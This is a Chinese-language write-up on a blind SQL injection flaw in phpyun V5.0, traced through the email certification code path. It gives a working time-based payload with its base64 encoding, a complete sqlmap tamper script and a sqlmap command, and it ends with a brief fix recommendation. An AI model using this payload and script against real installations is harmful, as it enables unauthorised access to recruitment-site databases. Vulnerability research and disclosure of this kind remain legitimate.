php100漏洞,phpyun人才管理系统V5.0 SQL注入漏洞分析

*世界上最愚蠢的事莫过于我们无比狂热地做一件事，到最后却不知道为什么要做*

cms背景介绍

PHP云人才管理系统(phpyun)是国内主流人才管理CMS系统之一！PHP云专为中文用户设计和开发，采用：B/S+c/s技术框架，程序源代码100%完全开放！基于PHP 和 MySQL 数据库构建的为核心开发。

漏洞类型

前台SQL盲注

漏洞描述

Phpyun最新版本V5.0中，在用户邮箱认证处，存在SQL延时注入。其未对 base64解密后的email参数进行任何过滤，从而导致漏洞产生。

漏洞产生链分析：

漏洞产生点位于 app\controller\qqconnect\index.class.php的cert_action函数

可以看到此函数开头将GET取得的结果经过base64_decode函数解码后分割引入 $arr数组中，此时可以绕过全局过滤，代表此处可以控制$arr[3]的值。再往下看：

此时可以看到，由于$arr[3]的值可控，所以导致$data的 email参数可控，并且引入upCertInfo函数的email参数可控。在跟进 upCertInfo函数：

可以看到在此函数中$data以及$whereData参数未经任何过滤又将其引入 upCertEmail函数，继续跟进：

可以看到此函数同样未对data数组中的参数未经过任何过滤，此时$email变量可控并将其引入 getCertInfo函数中，继续跟进：

可以看到又将可控数据引入 select_once函数中，此时$whereData中的check可控，继续跟进：

此函数中可以看到，将拥有可控数据的$where引入checkWhere 函数(篇幅问题，代码不贴了),其函数为判断是否有limit，orderby ，orderbyfield，groupby，having 等等，并将其参数修改为`email` = $email这种格式，并且还是未对其中参数做任何过滤。

现在基本确定存在SQL注入漏洞，此时只需本地复现即可。首先查看phpyun的路由调度。

可以看到module名为$_GET[‘m’]的值，所以此处 m的值应该为 qqconnect

控制器为C ，函数为A。由于qqconnect模块下的控制器名为 index.class.php所以c为index 。由于函数名为cert_action，所以a为 cert。

漏洞利用条件

一、首先数据库phpyun_member表中必须有用户(可以自行注册，由于该系统是招聘系统，所以不存在无法注册的问题)

二、由于db.safety.php中对传入数据的限制，通过GET传入的数据最大为80个字符，并且还是经过base64加密的。所以payload应该只有56个字符左右的限制，有大佬的话可以尝试尝试更进一步的利用。

三、phpyun_company_cert表中必须有数据，否则SQL 注入无法成功。

漏洞本地复现

设置payload为：2|||‘or (if(true,sleep(5),1));#

将payload通过base64加密： Mnx8fCdvciAoaWYodHJ1ZSxzbGVlcCg1KSwxKSk7IyA=

可以看到响应时间为5082millis。约为5秒。 SQL注入复现成功。

使用SQLMAP进行注入

首先要使用SQLMAP进行注入验证需要编写SQLMAP脚本辅助。观察payload，发现要将sqlmap中测试需要的payload前面添加 2||| 。并且将添加数据后的payload进行base64编码。

编写脚本：phpyun.py

#!/usr/bin/env python

"""

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)

See the file ‘LICENSE‘ for copying permission

"""

import base64

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

""" phpyun payload

>>> tamper("1‘ AND SLEEP(5)#")

‘MScgQU5EIFNMRUVQKDUpIw==‘

"""

payload = "2|||"+payload    #给payload添加我们需要的数据

return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload    #对新payload进行加密

将此脚本放入tamper文件夹中便可使用。

SQLMAP命令 ：python sqlmap.py -u "http://target.com/?m=qqconnect&c=index&a=cert&id=1" -p "id" --tamper="tamper/phpyun.py"  --technique T  -v 3  --dbms "mysql"  --risk 3

注：sqlmap参数必须设置 --risk 等级为3。由于风险等级默认为1，payload使用and逻辑判断，会导致sql注入检测失败。将风险等级设置为3时，payload会使用OR逻辑判断。所以此处必须设置。(风险等级为3的情况下，谨慎测试upload的SQL语句。)

漏洞修复方案

建议对app\controller\qqconnect\index.class.php的cert_action 函数中的$arr[3]使用CheckRegEmail函数检测。具体修复方法等待官方补丁phpyun官方网站